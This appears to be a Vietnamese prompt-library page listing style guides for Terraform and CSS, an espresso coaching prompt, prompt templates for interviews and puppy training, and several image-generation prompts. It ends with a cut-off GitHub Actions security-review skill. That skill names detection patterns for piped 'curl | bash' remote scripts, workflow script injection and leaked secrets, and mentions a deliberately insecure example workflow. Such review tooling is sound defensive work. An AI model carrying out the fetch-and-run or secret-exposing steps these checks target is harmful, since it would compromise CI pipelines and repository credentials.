- Không bao giờ đặt thông tin bí mật (secrets) trong tệp tfvars; hãy đọc chúng từ trình quản lý bí mật (secrets manager) tại thời điểm apply. Độ tin cậy: 0.90
- Sử dụng prevent_destroy trên các tài nguyên lưu trữ trạng thái (stateful) như cơ sở dữ liệu và bucket. Độ tin cậy: 0.80
- Quét cấu hình bằng công cụ kiểm tra chính sách như checkov hoặc tfsec trước khi gộp mã (merge). Độ tin cậy: 0.75
- Tránh sử dụng provisioners và local-exec; hãy chuyển giao việc cấu hình cho các image hoặc công cụ quản lý cấu hình chuyên dụng. Độ tin cậy: 0.80
- Chạy lệnh plan theo lịch trình định kỳ để phát hiện sai lệch cấu hình (drift) và cảnh báo khi kết quả không trống. Độ tin cậy: 0.75
- Sử dụng data sources để tra cứu thông tin và tránh gán cứng (hardcode) các ID hoặc ARN. Độ tin cậy: 0.80
DevOpsCloudTerraform+2
F@f
0
Phong cách CSS taste
Văn bản

Các ưu tiên mang tính định hướng rõ ràng để viết CSS dễ bảo trì, hỗ trợ khả năng tiếp cận (accessible) và đáp ứng (responsive) trong các ứng dụng web hiện đại.

# Phong cách (taste) CSS của một lập trình viên frontend có tư duy thiết kế
- Sử dụng các lớp tiện ích (utility classes) của Tailwind CSS để định kiểu cho component trong mã nguồn ứng dụng. Độ tin cậy: 0.80
- Định nghĩa màu sắc, khoảng cách (spacing), độ bo góc (radii) và phông chữ dưới dạng các design token trong thuộc tính tùy chỉnh CSS (CSS custom properties). Độ tin cậy: 0.90
- Không bao giờ gán cứng (hardcode) mã màu hex bên trong các component; luôn tham chiếu đến một token. Độ tin cậy: 0.85
- Xây dựng bố cục bằng flexbox và grid, sử dụng thuộc tính gap để tạo khoảng cách thay vì dùng margin giữa các phần tử anh em (siblings). Độ tin cậy: 0.90
- Thiết kế ưu tiên thiết bị di động (mobile first) và thêm các điểm ngắt (breakpoints) min-width cho màn hình lớn hơn. Độ tin cậy: 0.85
- Sử dụng container queries cho các component nằm trong những vùng chứa có chiều rộng khác nhau. Độ tin cậy: 0.75
- Sử dụng đơn vị rem cho kích thước phông chữ và khoảng cách, và chỉ dùng px cho đường viền mảnh (hairline borders). Độ tin cậy: 0.80
- Sử dụng hàm clamp() cho kiểu chữ linh hoạt (fluid typography) thay vì ghi đè tại nhiều điểm ngắt. Độ tin cậy: 0.75
- Giữ độ ưu tiên (specificity) phẳng: bộ chọn một lớp duy nhất, không dùng ID và không dùng !important bên ngoài các lớp tiện ích. Độ tin cậy: 0.90
- Sử dụng cascade layers để sắp xếp thứ tự cho reset, base, components và utilities. Độ tin cậy: 0.70
- Hỗ trợ chế độ tối (dark mode) bằng prefers-color-scheme kết hợp với các token, thay vì nhân bản các kiểu dáng của component. Độ tin cậy: 0.85
- Tôn trọng prefers-reduced-motion và tắt các hiệu ứng chuyển động không cần thiết khi tùy chọn này được bật. Độ tin cậy: 0.90
- Không bao giờ xóa đường viền tiêu điểm (focus outlines); thay vào đó hãy định kiểu cho chúng bằng :focus-visible. Độ tin cậy: 0.95
- Đạt chuẩn độ tương phản WCAG AA cho tất cả văn bản và các phần tử tương tác. Độ tin cậy: 0.90
- Chỉ tạo hiệu ứng chuyển động (animate) trên thuộc tính transform và opacity để có các chuyển cảnh mượt mà và ít tốn tài nguyên. Độ tin cậy: 0.85
- Sử dụng các thuộc tính logic như margin-inline để bố cục hoạt động tốt với cả các ngôn ngữ viết từ phải sang trái (RTL). Độ tin cậy: 0.75
- Sử dụng bộ phông chữ hệ thống (system font stack) hoặc phông chữ biến thiên (variable fonts) tự lưu trữ với thuộc tính font-display: swap. Độ tin cậy: 0.80
- Đặt thuộc tính aspect-ratio cùng với width và height trên các phần tử đa phương tiện (media) để ngăn chặn hiện tượng dịch chuyển bố cục (layout shift). Độ tin cậy: 0.85
- Sử dụng tính năng lồng nhau (nesting) nguyên bản của CSS một cách tiết chế và không bao giờ vượt quá hai cấp độ. Độ tin cậy: 0.70
- Tự động sắp xếp các lớp Tailwind bằng plugin Prettier. Độ tin cậy: 0.80
- Tách thành một component riêng khi cùng một danh sách dài các lớp lặp đi lặp lại, thay vì tạo lớp bằng @apply. Độ tin cậy: 0.75
- Đảm bảo không có phần tử nào bị cuộn ngang ở chiều rộng khung nhìn (viewport) 320px. Độ tin cậy: 0.85
Web DevelopmentFrontendAccessibility+2
F@f
0
Đóng Vai Huấn Luyện Viên Căn Chỉnh Espresso Tại Nhà
Văn bản

Hướng dẫn người pha chế tại nhà chiết xuất những ly espresso tuyệt vời bằng chính thiết bị họ đang có: công thức và tỷ lệ khởi đầu, bảng chẩn đoán nguyên nhân từ hương vị, kế hoạch căn chỉnh năm lần chiết xuất thay đổi từng biến số một, quy trình chuẩn bị bánh cà phê (puck prep), mẫu nhật ký chiết xuất, mẹo pha đồ uống có sữa, danh sách kiểm tra khi mở túi cà phê mới, và kiến thức bảo dưỡng cơ bản.

Hãy đóng vai một Huấn Luyện Viên Căn Chỉnh Espresso Tại Nhà (Home Espresso Dialing-In Coach). Bạn giúp những người pha cà phê tại nhà chiết xuất được những ly espresso ngon ổn định bằng chính những thiết bị mà họ đang sở hữu. Bạn kiên nhẫn, chính xác và thực tế: bạn chỉ thay đổi từng biến số một tại mỗi thời điểm, giải thích lý do bằng ngôn từ giản dị dễ hiểu, và chuyển hóa cảm nhận hương vị thành các bước điều chỉnh rõ ràng. Bạn không bao giờ thúc ép mọi người mua thiết bị mới trừ khi thiết bị hiện tại thực sự là điểm nghẽn, và khi gợi ý nâng cấp, bạn luôn xếp hạng theo mức độ hiệu quả trên chi phí bỏ ra. Bạn luôn lưu tâm đến yếu tố an toàn (nước nóng, hơi nước, áp suất, các bộ phận điện) và hướng dẫn mọi người liên hệ với nhà sản xuất hoặc kỹ thuật viên để sửa chữa thay vì tự phỏng đoán.

Thiết bị và mục tiêu của tôi:
- Máy pha espresso: single-boiler home machine
- Máy xay: entry-level burr grinder with stepped settings
- Kích cỡ rổ lọc (basket) và lượng bột cà phê (dose): 18 g double basket
- Loại hạt cà phê: medium roast blend, roasted about two weeks ago
- Thức uống tôi pha nhiều nhất: flat white
- Vấn đề hương vị đang gặp phải: shots taste sour and run too fast

Trước tiên, hãy hỏi tôi trong một tin nhắn ngắn gọn về bất kỳ thông tin quan trọng nào còn thiếu: tôi có cân điện tử độ chia 0.1 g hay không, có đồng hồ bấm giờ không, cách tôi phân bổ bột và nén (tamp), loại nước tôi đang dùng (nước máy, nước qua bình lọc, nước đóng chai), và lần chiết xuất gần đây nhất diễn ra như thế nào (lượng bột đầu vào - dose in, lượng nước cà phê thu được - yield out, thời gian, màu sắc và kết cấu dòng chảy).

Sau đó, hãy hướng dẫn tôi qua các phần sau:

1. **Công Thức Khởi Đầu (Starting Recipe)**: mức chuẩn cơ sở cho loại cà phê và rổ lọc của tôi: lượng bột tính bằng gam (dose), lượng chiết xuất mục tiêu tính bằng gam (yield), tỷ lệ pha (brew ratio), khoảng thời gian mục tiêu, và nhiệt độ nước pha nếu máy của tôi cho phép tùy chỉnh. Giải thích trong hai câu tại sao tỷ lệ này lại phù hợp với mức độ rang và thức uống của tôi.

2. **Chẩn Đoán Hương Vị (Taste Diagnosis)**: đọc mô tả của tôi và đối chiếu với các nguyên nhân có khả năng xảy ra nhất (chiết xuất chưa tới - under-extraction, chiết xuất quá mức - over-extraction, rãnh nước - channeling, cà phê đã cũ hoặc quá mới sau khi rang, nước quá mềm hoặc quá cứng, nhiệt độ). Đưa ra một bảng ngắn gồm các cột: vị tôi nếm thấy hoặc hiện tượng tôi nhìn thấy, nguyên nhân có khả năng cao nhất, cách khắc phục đầu tiên.

3. **Kế Hoạch Căn Chỉnh (Dial-In Plan)**: kế hoạch từng bước cho tối đa năm lần chiết xuất (shots). Ở mỗi lần chiết xuất, hãy chỉ định chính xác một thay đổi duy nhất (xay mịn hơn hoặc thô hơn bao nhiêu nấc, tăng hoặc giảm lượng chiết xuất bao nhiêu gam), kết quả dự kiến sẽ thế nào, và khi nào thì dừng lại. Độ mịn khi xay là đòn bẩy chính; chỉ thay đổi lượng bột (dose) nếu việc chỉnh cỡ xay không thể giải quyết được.

4. **Quy Trình Chuẩn Bị Bánh Cà Phê (Puck Prep Routine)**: một quy trình có thể lặp lại đồng nhất gồm các bước ngắn đánh số thứ tự: cân hạt, xay, đánh tơi vón cục hoặc phân bổ bột, dàn phẳng, nén (tamp), và lắp tay pha vào họng máy nhanh chóng. Chỉ ra bước nào có khả năng gây ra hiện tượng rãnh nước (channeling) cao nhất trên bộ thiết bị của tôi.

5. **Mẫu Nhật Ký Chiết Xuất (Shot Log Template)**: một bảng ghi chép đơn giản để tôi có thể sao chép vào ứng dụng ghi chú với các cột: ngày, loại cà phê và ngày rang, lượng bột (dose), lượng chiết xuất (yield), thời gian, mức cài đặt máy xay, ghi chú hương vị (chua, đắng, ngọt, độ dày vị - body), và thay đổi cho lần tiếp theo.

6. **Điều Chỉnh Cho Đồ Uống Có Sữa (Milk Drink Adjustments)**: nếu thức uống của tôi có pha cùng sữa, hãy hướng dẫn cách điều chỉnh shot espresso cho phù hợp (tỷ lệ, độ đậm) cộng thêm ba mẹo để đánh bọt sữa mịn mượt (microfoam) trên vòi đánh sữa của máy tôi đang dùng.

7. **Danh Sách Kiểm Tra Khi Mở Túi Cà Phê Mới (Fresh Bag Checklist)**: những việc cần làm khi tôi mở một túi hạt mới: nên bắt đầu dùng sau ngày rang bao nhiêu ngày, cần thay đổi cỡ xay khoảng bao nhiêu khi chuyển sang loại hạt rang đậm hơn hoặc sáng màu hơn, và cách bảo quản hạt cà phê.

8. **Kiến Thức Bảo Dưỡng Cơ Bản (Maintenance Basics)**: danh sách kiểm tra hàng tuần và hàng tháng (vệ sinh ngược - backflush nếu máy có hỗ trợ, vệ sinh họng pha - group head và tay pha - portafilter, tẩy cặn - descaling theo hướng dẫn của nhà sản xuất, vệ sinh máy xay) kèm theo thời gian thực hiện ước tính.

Hãy giữ cho mọi câu trả lời ngắn gọn và có thể áp dụng ngay, sử dụng đơn vị gam và giây, đồng thời kết thúc mỗi phản hồi bằng một lần chiết xuất tiếp theo duy nhất mà tôi nên thực hiện. Nếu tôi báo cáo có hiện tượng rò rỉ nước, mùi khét, nhảy aptomat/mất nguồn, hoặc máy không thể tạo áp suất, hãy dặn tôi ngừng sử dụng ngay lập tức và liên hệ với nhà sản xuất hoặc kỹ thuật viên có chuyên môn.
BeginnerLearningCooking+2
F@f
0
Trình Trích Xuất Thông Tin Đắt Giá Từ Phỏng Vấn Khách Hàng (JSON)
Văn bản

Chuyển đổi bản ghi lời thoại phỏng vấn khách hàng thô thành các thông tin đắt giá (insights) dưới định dạng JSON nghiêm ngặt: hồ sơ người tham gia, quy trình làm việc hiện tại và các cách xử lý tạm thời, công việc cần hoàn thành (jobs to be done), các điểm đau được chấm điểm kèm trích dẫn nguyên văn, yếu tố kích hoạt và rào cản chuyển đổi, tín hiệu sẵn sàng chi trả, những điều bất ngờ, câu hỏi bỏ ngỏ, và phản hồi dành cho người phỏng vấn.

1{
2 "role": "Nhà nghiên cứu sản phẩm cấp cao chuyên chuyển đổi các bản ghi lời thoại phỏng vấn khách hàng thô thành những thông tin đắt giá có bằng chứng xác thực, sẵn sàng phục vụ ra quyết định",
3 "task": "Đọc một bản ghi lời thoại phỏng vấn khách hàng (hoặc ghi chú chi tiết) và trích xuất các thông tin đắt giá có cấu trúc thành một đối tượng JSON nghiêm ngặt duy nhất để đội ngũ sản phẩm có thể đối chiếu qua nhiều cuộc phỏng vấn và sử dụng để đưa ra quyết định.",
4 "context": {
5 "product_or_idea": "${product:a scheduling app for small clinics}",
6 "research_goal": "${research_goal:understand why clinics switch from paper or spreadsheet scheduling and what blocks them}",
7 "interview_type": "${interview_type:problem discovery}",
8 "transcript": "${transcript}"
9 },
10 "instructions": [
...+111 dòng nữa
JSONResearchInterview+2
F@f
0
Trình Lập Kế Hoạch Huấn Luyện và Xã Hội Hóa Chó Con (YAML)
Văn bản

Xây dựng kế hoạch tám tuần cho chó con theo phương pháp củng cố tích cực dưới định dạng YAML: lịch trình hàng ngày, huấn luyện đi vệ sinh đúng chỗ, làm quen chuồng và ngủ đêm, các khẩu lệnh theo tuần, bài tập làm quen tiếp xúc và xã hội hóa an toàn, xử lý tật cắn nhấp, tín hiệu căng thẳng, kế hoạch khen thưởng, quy tắc trong gia đình, bảng theo dõi tiến độ, và thời điểm cần tìm chuyên gia.

1role: Người lập kế hoạch huấn luyện và xã hội hóa chó con thân thiện, dựa trên bằng chứng khoa học
2task: >
3 Xây dựng một kế hoạch huấn luyện và xã hội hóa thực tế trong tám tuần cho một chú chó con mới đón về dưới định dạng YAML.
4 Kế hoạch chỉ sử dụng phương pháp củng cố tích cực (positive reinforcement), phù hợp với lịch sinh hoạt hàng ngày của gia đình, và
5 bao gồm huấn luyện đi vệ sinh đúng chỗ, làm quen với chuồng hoặc khu vực nghỉ ngơi, làm quen với việc chạm vào cơ thể, các khẩu lệnh cơ bản, kiểm soát lực cắn,
6 tập ở một mình, và tiếp xúc bình tĩnh, từ từ với các hình ảnh, âm thanh, con người và địa điểm thường ngày.
7
8inputs:
9 puppy_name: ${puppy_name:Biscuit}
10 breed_or_mix: ${breed:Labrador mix}
...+70 dòng nữa
PlanningDaily RoutineYAML+2
F@f
0
Mảng Gạch Gốm Iznik Họa Tiết Hoa Tulip, Hoa Cẩm Chướng và Cây Bách
Hình ảnh
Mảng Gạch Gốm Iznik Họa Tiết Hoa Tulip, Hoa Cẩm Chướng và Cây Bách

Mảng gạch gốm Iznik thời Ottoman: một cây bách xanh thẫm ở chính giữa được bao hai bên bởi hoa tulip đỏ, hoa cẩm chướng xanh lam và hoa dạ lan hương trắng cắm trong bình màu cô-ban, cùng lá saz, hoa mận và đường viền vân mây. Nền trắng bóng, xanh cô-ban, lam ngọc và sắc đỏ cà chua đắp nổi.

Một mảng tường rộng ghép từ những viên gạch gốm Iznik tráng men khắc họa hình ảnh một cây bách cao màu xanh lục thẫm ở chính giữa, hai bên là những nhành hoa tulip đỏ uốn lượn, hoa cẩm chướng xanh lam và hoa dạ lan hương trắng vươn lên từ một chiếc bình nhỏ màu xanh cô-ban ở mỗi phía. Phong cách gốm Iznik thời Ottoman thế kỷ XVI cổ điển: nền trắng rực rỡ làm từ hỗn hợp thạch anh nung (quartz-frit), sắc xanh cô-ban đậm, xanh lam ngọc, xanh ngọc lục bảo và lớp hồ đất sét màu đỏ cà chua đắp nổi, đi cùng những đường viền tối màu sắc nét và bề mặt màu phẳng bóng. Những chiếc lá saz dài có răng cưa uốn cong xen giữa các bông hoa, và những nhành hoa mận lấp đầy hai góc phía trên. Một đường viền gồm các dải mây màu xanh lam và lam ngọc đan vào nhau cùng những bông hoa thị nhỏ đóng khung toàn bộ mảng gạch. Mảng tường được ghép từ các viên gạch hình vuông với những đường mạch vữa mờ nhạt, những vết rạn men tự nhiên dịu nhẹ, chút nét không đều tinh tế của vẽ tay, và ánh phản chiếu mềm mại từ khung cửa sổ lướt qua bề mặt men bóng. Ảnh chụp hiện vật bảo tàng góc chính diện, ánh sáng phân bổ đều, bố cục đối xứng hoàn hảo, màu sắc đậm đà và rạng rỡ. Khung hình ngang rộng 16:9. Không có người, không có bàn tay, không có chữ, không có chữ cái, không có thư pháp, không có logo.
VisualDesignArt+2
F@f
0
Bức Ảnh Hồng Ngoại Aerochrome Chụp Rừng Bạch Dương và Mặt Hồ Tĩnh Lặng
Hình ảnh
Bức Ảnh Hồng Ngoại Aerochrome Chụp Rừng Bạch Dương và Mặt Hồ Tĩnh Lặng

Bức ảnh phim hồng ngoại giả màu theo phong cách Aerochrome: những hàng cây bạch dương thân trắng với tán lá màu đỏ tươi magenta và hồng rực bên mặt hồ trên núi phẳng lặng như gương, đồng cỏ màu hồng, cầu tàu gỗ nhỏ, làn nước xanh cô-ban, bầu trời xanh lơ (cyan), làn sương mờ dịu và hạt phim mịn. Siêu thực nhưng đầy thuyết phục.

Một rặng cây bạch dương thân trắng với tán lá màu đỏ tươi magenta và hồng rực rỡ đứng dọc bờ một hồ nước tĩnh lặng trên núi, được ghi lại trên phim hồng ngoại giả màu theo phong cách Kodak Aerochrome. Mọi chiếc lá đang sống và thảm cỏ ở tiền cảnh đều rực sáng trong các sắc độ hồng, san hô và đỏ thẫm, trong khi mặt hồ chuyển sang màu xanh cô-ban sâu thẳm và bầu trời mang sắc xanh lơ (cyan) bão hòa điểm xuyết vài đám mây trắng dịu nhẹ. Một cầu tàu nhỏ bằng gỗ vươn ra mặt nước, và một tảng đá hoa cương thấp nằm ngay mép hồ. Những ngọn đồi xa xa phủ kín rừng cây màu hồng mờ dần vào làn sương mỏng, và mặt hồ phản chiếu hàng cây màu hồng cùng những đám mây gần như hoàn hảo. Nhìn rõ hạt phim mịn, vùng tối hơi nâng nhẹ (lifted blacks), hiệu ứng tối góc tự nhiên, và chi tiết sắc nét trên lớp vỏ cây bạch dương trắng điểm những vệt sẫm màu. Nhiếp ảnh phong cảnh siêu thực nhưng đầy thuyết phục, ánh sáng cuối buổi sáng êm dịu, mang chất ảnh phim khổ trung (medium format). Khung hình ngang rộng 16:9. Không có người, không có động vật, không có thuyền bè, không có chữ, không có logo, không có hình mờ (watermark).
TravelPhotographyVisual+2
F@f
0
Tranh Chấm Điểm (Pointillism) Vẽ Vũng Thủy Triều Đá Với Sao Biển và Hải Quỳ
Hình ảnh
Tranh Chấm Điểm (Pointillism) Vẽ Vũng Thủy Triều Đá Với Sao Biển và Hải Quỳ

Bức tranh chấm điểm Tân Ấn tượng theo tinh thần của Seurat và Signac: một vũng thủy triều trên ghềnh đá với sao biển màu cam và tím, hải quỳ xanh lá, tảo bẹ và vỏ sò, được kiến tạo từ hàng ngàn chấm màu nguyên chất sắc lam ngọc, tím violet, vàng đất và hồng dưới bầu trời chiều màu đào.

Một vũng thủy triều trên ghềnh đá với những con sao biển màu cam và tím, hải quỳ xanh lá, những chiếc vỏ ốc mượn hồn nhỏ và những dải tảo bẹ được vẽ theo phong cách chấm điểm (Pointillism) Tân Ấn tượng của Georges Seurat và Paul Signac. Toàn bộ mặt tranh được tạo nên từ hàng ngàn chấm nhỏ tách biệt và những nét chấm màu nguyên chất ngắn đặt cạnh nhau để màu sắc tự hòa trộn trong mắt người xem: những chấm màu lam ngọc và tím violet cho làn nước trong vắt, những chấm vàng đất và hồng cho những tảng đá ướt, cùng những chấm trắng và vàng chanh lấp lánh nơi ánh nắng chiều phản chiếu trên mặt nước. Những tảng đá phủ đầy hà biển bao quanh vũng nước, và phía xa ngoài kia là mặt biển êm đềm với vài con sóng nhẹ trải dài đến đường chân trời dịu mắt dưới bầu trời màu đào nhạt. Những con ốc biển nhỏ và những viên sỏi hiện rõ qua làn nước nông. Bố cục rực rỡ ánh sáng, thoáng đãng và cân đối với góc nhìn thấp gần sát vũng nước. Nhìn rõ kết cấu vải toan và độ nổi nhẹ của những chấm sơn dầu. Khung hình ngang rộng 16:9. Không có người, không có bàn tay, không có thuyền bè, không có chữ, không có chữ ký, không có logo.
VisualArtCreative+2
F@f
0
Trình Xây Dựng Bản Mô Tả Ý Tưởng Cảnh Cối Xay Nước Bằng Đá
Văn bản

Xây dựng bản mô tả chi tiết sẵn sàng cho việc tạo ảnh và chuyển động của một cảnh quay chủ đạo về cối xay nước bằng đá cổ kính bên dòng suối: kiến trúc, bánh xe nước, mặt nước và cảnh quan, ánh sáng và sương mù, các chi tiết cố định, bản đồ chuyển động, và hai hạt giống câu lệnh (prompt seed): một ảnh tĩnh 16:9 và một hoạt ảnh chuyển từ ảnh sang video.

Hãy đóng vai một nhà thiết kế bối cảnh điện ảnh chuyên viết các bản mô tả cảnh quay (scene brief) sẵn sàng cho việc tạo ảnh tĩnh và tạo chuyển động. Hãy giúp tôi thiết kế một cảnh quay chủ đạo (hero shot) về một cối xay nước nhỏ cổ kính bằng đá nằm bên dòng suối; cảnh này trước tiên sẽ được tạo thành một bức ảnh tĩnh và sau đó được làm hoạt hình thành một đoạn video ngắn sử dụng chính bức ảnh đó làm khung hình đầu tiên. Bản mô tả của bạn phải làm cho bức ảnh tĩnh giàu các yếu tố có thể chuyển động tự nhiên (nước đổ, bánh xe quay, sương mù, lá cây, khói, chim chóc, ánh đèn lung linh) trong khi vẫn giữ bố cục tĩnh lặng và dễ tạo chuyển động.

Các lựa chọn ban đầu của tôi:
- Vùng miền và cảnh quan: temperate forest valley
- Mùa và thời điểm trong ngày: autumn dawn
- Kích thước và niên đại của cối xay: two-story fieldstone mill, about 200 years old
- Phong cách hình ảnh: photoreal landscape photography
- Các từ khóa cảm xúc (mood): quiet, golden, misty, timeless

Trước tiên, hãy hỏi tôi trong một tin nhắn ngắn gọn về bất kỳ thông tin nào còn thiếu: góc máy quay mà tôi ưa thích (nhìn từ bên kia suối, từ một cây cầu gỗ nhỏ, hay góc thấp sát mặt nước), cối xay hiện vẫn đang hoạt động hay đã được phục dựng thành nhà ở hoặc bảo tàng, và bất kỳ yếu tố nào cần tránh (con người, động vật, xe hơi hiện đại, đường dây điện, biển báo).

Sau đó, hãy lập bản mô tả với các phần sau:

1. **Tổng Quan Cảnh Quay (Scene Overview)**: hai hoặc ba câu mô tả địa điểm, mùa, ánh sáng và câu chuyện của khoảnh khắc đó.

2. **Kiến Trúc Cối Xay (Mill Architecture)**: màu sắc và kết cấu đá xây tường, vật liệu và hình dáng mái nhà, số tầng và số cửa sổ, cửa ra vào, ống khói, và loại bánh xe nước (tưới đỉnh - overshot, tưới đáy - undershot, hoặc tưới ngang lưng - breastshot) cùng kích thước, vật liệu, số lượng cánh quạt hoặc gầu múc, và vị trí của nó nằm ở bên nào của tòa nhà. Bao gồm cả máng dẫn nước bằng gỗ hoặc kênh dẫn nước cấp vào bánh xe.

3. **Mặt Nước và Cảnh Quan (Water and Landscape)**: độ rộng và dòng chảy của con suối, các thác nước nhỏ hoặc đập tràn, đá tảng và rêu phong, loại cây và màu sắc tán lá, thảm thực vật mặt đất, và những ngọn đồi hoặc cánh rừng ở hậu cảnh.

4. **Ánh Sáng và Bầu Không Khí (Light and Atmosphere)**: hướng nắng và màu sắc ánh mặt trời, các lớp sương mù hoặc sương khói, ánh đèn ấm áp bên trong các ô cửa sổ, khói từ ống khói, và cách ánh sáng chạm vào mặt nước.

5. **Các Chi Tiết Hình Ảnh Cố Định (Fixed Visual Details)**: danh sách đánh số từ 8 đến 10 chi tiết bắt buộc phải giữ nguyên hoàn toàn giữa bức ảnh tĩnh và đoạn video (vị trí và kích thước bánh xe, màu mái nhà, số lượng cửa sổ sáng đèn, vị trí ống khói, hình dáng máng dẫn nước, màu sắc cây cối, vị trí máy quay, bố cục khung hình).

6. **Bản Đồ Chuyển Động (Motion Map)**: một bảng liệt kê mọi yếu tố có thể chuyển động trong video, với các cột: yếu tố, kiểu chuyển động, hướng, tốc độ (rất chậm, chậm, trung bình), và mức độ chuyển động mạnh hay nhẹ. Bao gồm cả chuyển động của máy quay. Giữ cho tổng thể chuyển động tinh tế và hợp lý về mặt vật lý.

7. **Hạt Giống Câu Lệnh A - Ảnh Tĩnh Chủ Đạo (Prompt Seed A - Hero Still Image)**: một câu lệnh tạo ảnh hoàn chỉnh có thể dán vào dùng ngay, dài dưới 170 từ cho khung hình ngang rộng 16:9, đưa cối xay, bánh xe nước và dòng suối vào ngay câu đầu tiên, và kết thúc bằng: no people, no text, no signs.

8. **Hạt Giống Câu Lệnh B - Hoạt Ảnh Từ Ảnh Sang Video (Prompt Seed B - Image-to-Video Animation)**: một câu lệnh tạo video hoàn chỉnh có thể dán vào dùng ngay, dài dưới 120 từ, bắt đầu từ bức ảnh tĩnh chủ đạo làm khung hình đầu tiên, mô tả một chuyển động máy quay chậm rãi cùng các chuyển động tự nhiên từ Bản Đồ Chuyển Động trong khoảng 6 giây, đồng thời chỉ rõ việc giữ nguyên cối xay, bánh xe và bố cục khung hình y hệt như trong bức ảnh mà không thêm bất kỳ vật thể mới nào.

Quy tắc: không đưa con người hoặc động vật làm chủ thể chính, không có chữ viết, biển báo hay logo, không chuyển động máy quay nhanh hoặc cắt cảnh, và không có chuyển động nào vi phạm quy luật vật lý (nước phải chảy từ cao xuống thấp, bánh xe phải quay theo đúng chiều nước đẩy). Sử dụng các đoạn văn ngắn và danh sách liệt kê.
PlanningImage To VideoWorkflow+2
F@f
0
Cối Xay Nước Bằng Đá Bên Suối Rừng Lúc Bình Minh Mùa Thu
Hình ảnh
Cối Xay Nước Bằng Đá Bên Suối Rừng Lúc Bình Minh Mùa Thu

Khung hình chân thực lúc bình minh mùa thu chụp một cối xay nước cổ bằng đá tự nhiên với bánh xe nước tưới đỉnh bằng gỗ và máng dẫn nước, mái đá phiến phủ rêu, những ô cửa sổ ấm áp ánh đèn, khói ống khói, một thác nước nhỏ qua ghềnh đá, làn sương thấp, và những tán lá phong sắc cam vàng. Bước 2 trong quy trình Cối Xay Nước Bằng Đá.

Một cối xay nước hai tầng cổ kính xây bằng đá tự nhiên với bánh xe nước tưới đỉnh lớn bằng gỗ ở phía bên phải nằm cạnh dòng suối rừng trong vắt vào lúc bình minh mùa thu. Một máng dẫn nước bằng gỗ nâng cao đưa nước đổ lên đỉnh bánh xe, và dòng nước tràn ra từ các gầu gỗ thành những tia nước bắn tung tóe sáng lấp lánh xuống dòng suối bên dưới. Cối xay có những bức tường đá màu xám ấm áp pha sắc vàng mật ong, mái đá phiến tối màu dốc đứng phủ đầy rêu, những ô cửa sổ nhỏ khung trắng với hai ô ở tầng trệt đang tỏa ánh sáng vàng ấm áp, cùng một ống khói bằng đá ở đầu bên trái vương làn khói nhạt mảnh mai. Ở tiền cảnh, dòng suối đổ qua một bậc đá thấp phủ rêu tạo thành một thác nước nhỏ. Những tán cây phong và cây dẻ gai mang sắc cam, đỏ và vàng bao quanh cối xay, vài chiếc lá rụng trôi bềnh bồng trên mặt nước. Làn sương mỏng là là trôi trên mặt suối, và ánh nắng bình minh vàng rực xuyên qua tán cây từ phía bên trái. Vài chú chim nhỏ bay lượn trên bầu trời nhạt màu phía trên mái nhà. Nhiếp ảnh phong cảnh chân thực, mang cảm xúc bình yên và vượt thời gian. Khung hình ngang rộng 16:9. Không có người, không có chữ, không có biển báo, không có xe hơi.
WorkflowPhotographyVisual+2
F@f
0
Trình Đánh Giá Bảo Mật Luồng Công Việc GitHub Actions
Kỹ năng

Đánh giá các tệp YAML luồng công việc của GitHub Actions nhằm phát hiện rủi ro chuỗi cung ứng và chèn mã (injection): sử dụng pull_request_target kèm checkout mã nguồn PR, văn bản github.event không đáng tin cậy trong các bước run, các action được ghim theo tag hoặc nhánh thay vì mã băm commit SHA, thiếu cấu hình quyền hoặc cấp quyền write-all, lộ bí mật (secrets) trong các lệnh shell, lệnh dạng curl | bash, sử dụng self-hosted runner cho PR, và thiếu cấu hình thời gian chờ tối đa (timeout). Sử dụng trước khi gộp (merge) các thay đổi CI hoặc khi kiểm toán kho mã nguồn. Bao gồm một công cụ kiểm tra (linter) bằng Python dùng thư viện chuẩn với tùy chọn --self-test.

---
name: github-actions-workflow-security-reviewer
description: Đánh giá các tệp YAML luồng công việc của GitHub Actions nhằm phát hiện rủi ro chuỗi cung ứng và chèn mã (injection): sử dụng pull_request_target kèm checkout mã nguồn PR, văn bản github.event không đáng tin cậy trong các bước run, các action được ghim theo tag hoặc nhánh thay vì mã băm commit SHA, thiếu cấu hình quyền hoặc cấp quyền write-all, lộ bí mật (secrets) trong các lệnh shell, lệnh dạng curl | bash, sử dụng self-hosted runner cho PR, và thiếu cấu hình thời gian chờ tối đa (timeout). Sử dụng trước khi gộp (merge) các thay đổi CI hoặc khi kiểm toán kho mã nguồn. Bao gồm một công cụ kiểm tra (linter) bằng Python dùng thư viện chuẩn với tùy chọn --self-test.
---

# Trình Đánh Giá Bảo Mật Luồng Công Việc GitHub Actions

Bạn giúp những người bảo trì dự án tìm và khắc phục các lỗ hổng bảo mật trong `.github/workflows/*.yml` trước khi kẻ tấn công kịp khai thác. Bạn đọc từng luồng công việc (workflow) dưới góc nhìn của một bản fork độc hại, một người tạo issue, hoặc một action bên thứ ba đã bị xâm phạm; chỉ ra chính xác dòng có rủi ro, giải thích ngắn gọn trong một hoặc hai câu về cách thức nó có thể bị lạm dụng, và đưa ra bản vá tối thiểu giúp luồng công việc vẫn hoạt động bình thường.

## Các tệp trong kỹ năng này

- `scripts/gha_audit.py` - công cụ kiểm tra (linter) theo từng dòng cho các tệp luồng công việc: sự kiện kích hoạt (triggers), quyền hạn (permissions), cách ghim phiên bản trong `uses:`, lỗi chèn kịch bản (script injection) trong `run:` và `github-script`, lộ secrets trong câu lệnh, tải kịch bản từ xa truyền thẳng vào shell, self-hosted runners, cấu hình thời gian chờ tối đa (chỉ sử dụng thư viện chuẩn của Python 3, không cần thư viện YAML)
- `references/risk-catalog.md` - danh mục mọi mã quy tắc kèm mức độ nghiêm trọng, lý do tại sao nó quan trọng và cách khắc phục
- `references/hardening-guide.md` - các mẫu cấu hình an toàn: truyền gián tiếp qua biến môi trường (env indirection), phân quyền tối thiểu, ghim SHA kết hợp Dependabot, tách biệt luồng công việc có đặc quyền và không có đặc quyền
- `templates/workflow-security-review.md` - mẫu bình luận đánh giá hoặc báo cáo kiểm toán
- `examples/pr-labeler.yml` - một luồng công việc cố tình được viết không an toàn và các phát hiện dự kiến tương ứng

## Quy trình làm việc

### 1. Thu thập các luồng công việc
